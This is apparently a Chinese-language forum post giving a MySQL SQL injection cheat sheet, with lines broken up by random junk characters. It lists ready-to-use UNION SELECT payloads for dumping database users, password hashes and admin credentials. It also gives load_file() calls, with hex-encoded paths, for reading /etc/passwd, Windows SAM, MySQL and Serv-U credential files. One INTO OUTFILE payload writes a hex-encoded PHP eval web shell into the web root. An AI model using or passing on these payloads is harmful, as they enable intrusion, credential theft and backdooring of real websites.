Mysql sqlinjection code

admin

Mysql sqlinjection code

# %23 -- /* /**/   注释

UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--

4 A0 z% e& R% A( Mand+(select+count(*)+from+mysql.user)>0--  判断是否能读取MYSQL表
" V  R; J! D" T# W
CONCAT_WS(CHAR(32,58,32),user(),database(),version())   用户名 数据库 MYSQL版本
* Q% V, S  f: T- l* {" w; N' U
; ~0 C2 z/ F2 x% i; i  o, Z! q1 Bunion+select+1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,7--  

6 m* B8 v4 K/ H: funion all select 1,concat(user,0x3a,pass,0x3a,email) from users/*  获取users表的用户名 密码 email 信息

unhex(hex(@@version))    unhex方式查看版本
) x" v6 K8 g/ _3 A& ?
union all select 1,unhex(hex(@@version)),3/*

. N/ J$ a) s0 ?convert(@@version using latin1) latin 方式查看版本

" ~. x6 l1 x9 \: {' Q% munion+all+select+1,convert(@@version using latin1),3--

( @' s% N) T* Z# z! o5 W3 R' iCONVERT(user() USING utf8)
& r) q# d+ N) ^' z- x( wunion+all+select+1,CONVERT(user() USING utf8),3--  latin方式查看用户名
& t7 Q6 B8 e: b+ m' e1 Y

  z1 e! k9 {7 `' D& }( h* Xand+1=2+union+select+1,passw,3+from+admin+from+mysql.user--   获取MYSQL帐户信息
" r9 y. w- J5 t2 J
& i7 I4 X8 E2 r' w* j7 [union+all+select+1,concat(user,0x3a,password),3+from+mysql.user--   获取MYSQL帐户信息




union+select+1,concat_ws(0x3a,username,password),3+FROM+ADMIN--  读取admin表 username password 数据  0x3a 为“：” 冒号

( `5 n( x2 p' g- O5 P1 @4 c6 Dunion+all+select+1,concat(username,0x3a,password),3+from+admin--  

9 j3 B1 R3 |! ^union+all+select+1,concat(username,char(58),password),3+from admin--

' v( K' L7 a6 p
; c+ Q5 V& Z: P# B  wUNION+SELECT+1,2,3,4,load_file(0x2F6574632F706173737764),6--  通过load_file（）函数读取文件

: s" b1 J; R5 P- F% q: z, I
) h# f3 N' h5 K6 ~0 x4 U& B7 x( `, kUNION+SELECT+1,2,3,4,replace(load_file(0x2F6574632F706173737764),0x3c,0x20),6--  通过replace函数将数据完全显示
" ^3 d/ U5 y# R' G: i1 e
union+select+1,2,3,char(0x3C3F706870206576616C28245F504F53545B39305D3F3B3E),5,6,7,8,9,10,7+into+outfile+'d:\web\90team.php'--  在web目录写入一句话木马

5 [7 U, t  t8 u  k* Q<?php+eval($_POST[90]?;>   为上面16进制编码后的一句话原型
/ f9 w4 j# F1 ^! Y* l* L2 d
. _9 j' I9 O4 P9 `: ]1 U0 k! |# K
  W% T" u0 o, ?( w* g) O, B& s; \. yunion+select+1,2,3,load_file(d:\web\logo123.jpg),5,6,7,8,9,10,7+into+outfile+'d:\web\90team.php'--   将PHP马改成图片类型上传之网站，再通过into outfile 写入web目录
$ U8 ~( |/ x6 S: i
- o' k0 [: n" F  B
常用查询函数
# m" u; q  b) B9 Q4 s) G/ w3 [
1:system_user() 系统用户名
  _; [: `; r( r' p! Z' b2:user()        用户名
3:current_user  当前用户名
4:session_user()连接数据库的用户名
5:database()    数据库名
6:version()     MYSQL数据库版本  @@version
7:load_file()   MYSQL读取本地文件的函数
; P9 C/ ?/ }) m' B1 K6 M+ b& p2 ]8@datadir     读取数据库路径
- o( d+ |- i! j1 y3 ~9@basedir    MYSQL 安装路径
10@version_compile_os   操作系统


WINDOWS下:
. X! Q4 O8 D. \" s5 Q7 lc:/boot.ini          //查看系统版本     0x633A2F626F6F742E696E690D0A

5 O% E8 v5 L2 `& ^; d, g* dc:/windows/php.ini   //php配置信息      0x633A2F77696E646F77732F7068702E696E69

c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码  0x633A2F77696E646F77732F6D792E696E69
0 A- m$ n4 O& n- m
3 d. `) C0 q+ \: l! ]c:/winnt/php.ini      0x633A2F77696E6E742F7068702E696E69

c:/winnt/my.ini       0x633A2F77696E6E742F6D792E696E69
$ y7 I; D5 |" d+ i+ J2 g8 p
" K4 r9 d, Y4 Q6 t5 y( Z; sc:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码  0x633A5C6D7973716C5C646174615C6D7973716C5C757365722E4D5944

$ j+ f2 d! W9 Rc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码

3 L; s- F0 A1 u) ?0x633A5C50726F6772616D2046696C65735C5268696E6F536F66742E636F6D5C536572762D555C53657276554461656D6F6E2E696E69
2 t, Z5 f/ N, L) D
c:\Program Files\Serv-U\ServUDaemon.ini   0x633A5C50726F6772616D2046696C65735C536572762D555C53657276554461656D6F6E2E696E69
9 F' A, U% f. D( _) e+ M* Y
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件

c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
' i! D' d& P" I
1 M8 v1 L# j' ^4 o. c0 i5 }! qc:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
0 Q! I2 Q2 p; T; T0 X! q
c:\Program Files\RhinoSoft.com\ServUDaemon.exe

4 B/ J' K+ i1 h4 u: p. ]6 zC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif  文件
' P0 [5 ?9 V0 v0 ^& h# |
- S. c4 S# R1 k//存储了pcAnywhere的登陆密码

7 ?" d# W1 N* g' Ic:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件   
0x633A5C50726F6772616D2046696C65735C4170616368652047726F75705C4170616368655C636F6E66205C68747470642E636F6E66
+ Q; h; N& o/ y2 e$ w6 m) `
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.  0x633A2F526573696E2D332E302E31342F636F6E662F726573696E2E636F6E66
2 E( |2 ^1 X* O; M2 A8 Z
c:/Resin/conf/resin.conf  0x633A2F526573696E2F636F6E662F726573696E2E636F6E66
) F/ h1 [8 e0 t8 T% P
- W. ?3 d3 P8 Y# O
6 M8 q" X! l' L3 |- b1 T/usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机  0x2F7573722F6C6F63616C2F726573696E2F636F6E662F726573696E2E636F6E66

9 `8 b3 Z+ k- ]; t9 `d:\APACHE\Apache2\conf\httpd.conf  0x643A5C4150414348455C417061636865325C636F6E665C68747470642E636F6E66

! ^6 H2 w, c. V7 q. JC:\Program Files\mysql\my.ini  0x433A5C50726F6772616D2046696C65735C6D7973716C5C6D792E696E69

4 T- Y% X. _  a0 @6 D$ E2 Gc:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置    0x633A5C77696E646F77735C73797374656D33325C696E65747372765C4D657461426173652E786D6C

C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码  0x433A5C6D7973716C5C646174615C6D7973716C5C757365722E4D5944

* B1 M$ Q  I2 Z0 g  X4 M+ I
LUNIX/UNIX下:
7 E: Y+ V! r) |6 Z7 R' }$ Y  i' L
/etc/passwd  0x2F6574632F706173737764
  S* b5 Y  A4 |$ o8 o
9 j  M6 t5 U5 ?/ {7 R9 V/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件  0x2F7573722F6C6F63616C2F6170702F617061636865322F636F6E662F68747470642E636F6E66

- _. m) N8 r1 C7 o+ z" P* X/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置  0x2F7573722F6C6F63616C2F6170702F617061636865322F636F6E662F65787472612F68747470642D76686F7374732E636F6E66

/usr/local/app/php5/lib/php.ini //PHP相关设置   0x2F7573722F6C6F63616C2F6170702F706870352F6C69622F7068702E696E69
! p/ B. K/ s. E+ ]! B6 p9 `
0 j8 `$ M. Z% C" P  W5 e/etc/sysconfig/iptables //从中得到防火墙规则策略  0x2F6574632F737973636F6E6669672F69707461626C657320
& x/ l+ E& ~1 e4 e
/etc/httpd/conf/httpd.conf // apache配置文件    0x2F6574632F68747470642F636F6E662F68747470642E636F6E66   
7 ~/ `- w$ b# K" Q! e5 m* `  
7 D3 ~8 x" E1 x# y( F8 o: ]" p/etc/rsyncd.conf //同步程序配置文件              0x2F6574632F7273796E63642E636F6E66

/etc/my.cnf //mysql的配置文件   0x2F6574632F6D792E636E66

/etc/redhat-release //系统版本   0x2F6574632F7265646861742D72656C65617365

/ h7 |, ~/ F" }9 S0 |6 f/etc/issue           0x2F6574632F6973737565

/etc/issue.net       0x2F6574632F69737375652E6E6574

/usr/local/app/php5/lib/php.ini //PHP相关设置  0x2F7573722F6C6F63616C2F6170702F706870352F6C69622F7068702E696E69

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置   0x2F7573722F6C6F63616C2F6170702F617061636865322F636F6E662F65787472612F68747470642D76686F7374732E636F6E66
- A& x) L$ {% a- T" x9 C* ?
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件  0x2F6574632F68747470642F636F6E662F68747470642E636F6E66

9 F# g2 y! y* b0x2F7573722F6C6F63616C2F61706368652F636F6E662F68747470642E636F6E66
* N' E$ n: \. S6 [' p" ~5 J; F; y2 x
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看  0x2F7573722F6C6F63616C2F726573696E2D332E302E32322F636F6E662F726573696E2E636F6E66

4 s! U! A& E( Y" ?! u/usr/local/resin-pro-3.0.22/conf/resin.conf 同上   0x2F7573722F6C6F63616C2F726573696E2D70726F2D332E302E32322F636F6E662F726573696E2E636F6E66

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看  

0x2F7573722F6C6F63616C2F6170702F617061636865322F636F6E662F65787472612F68747470642D76686F7374732E636F6E66
8 n& a) E; w( K' O- d. N: G

/etc/sysconfig/iptables 查看防火墙策略 0x2F6574632F737973636F6E6669672F69707461626C6573
, }+ u6 H  m, O# j! X
0 `+ }, ^- ^1 L1 @% gload_file(char(47))  列出FreeBSD,Sunos系统根目录


replace(load_file(0x2F6574632F706173737764),0x3c,0x20)
" c8 v! e) Z; p0 S5 h1 I% y9 D
) ~* O1 c0 ~' x- J& I- F$ vreplace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 "<" 替换成"空格" 返回的是网页.而无法查看到代码.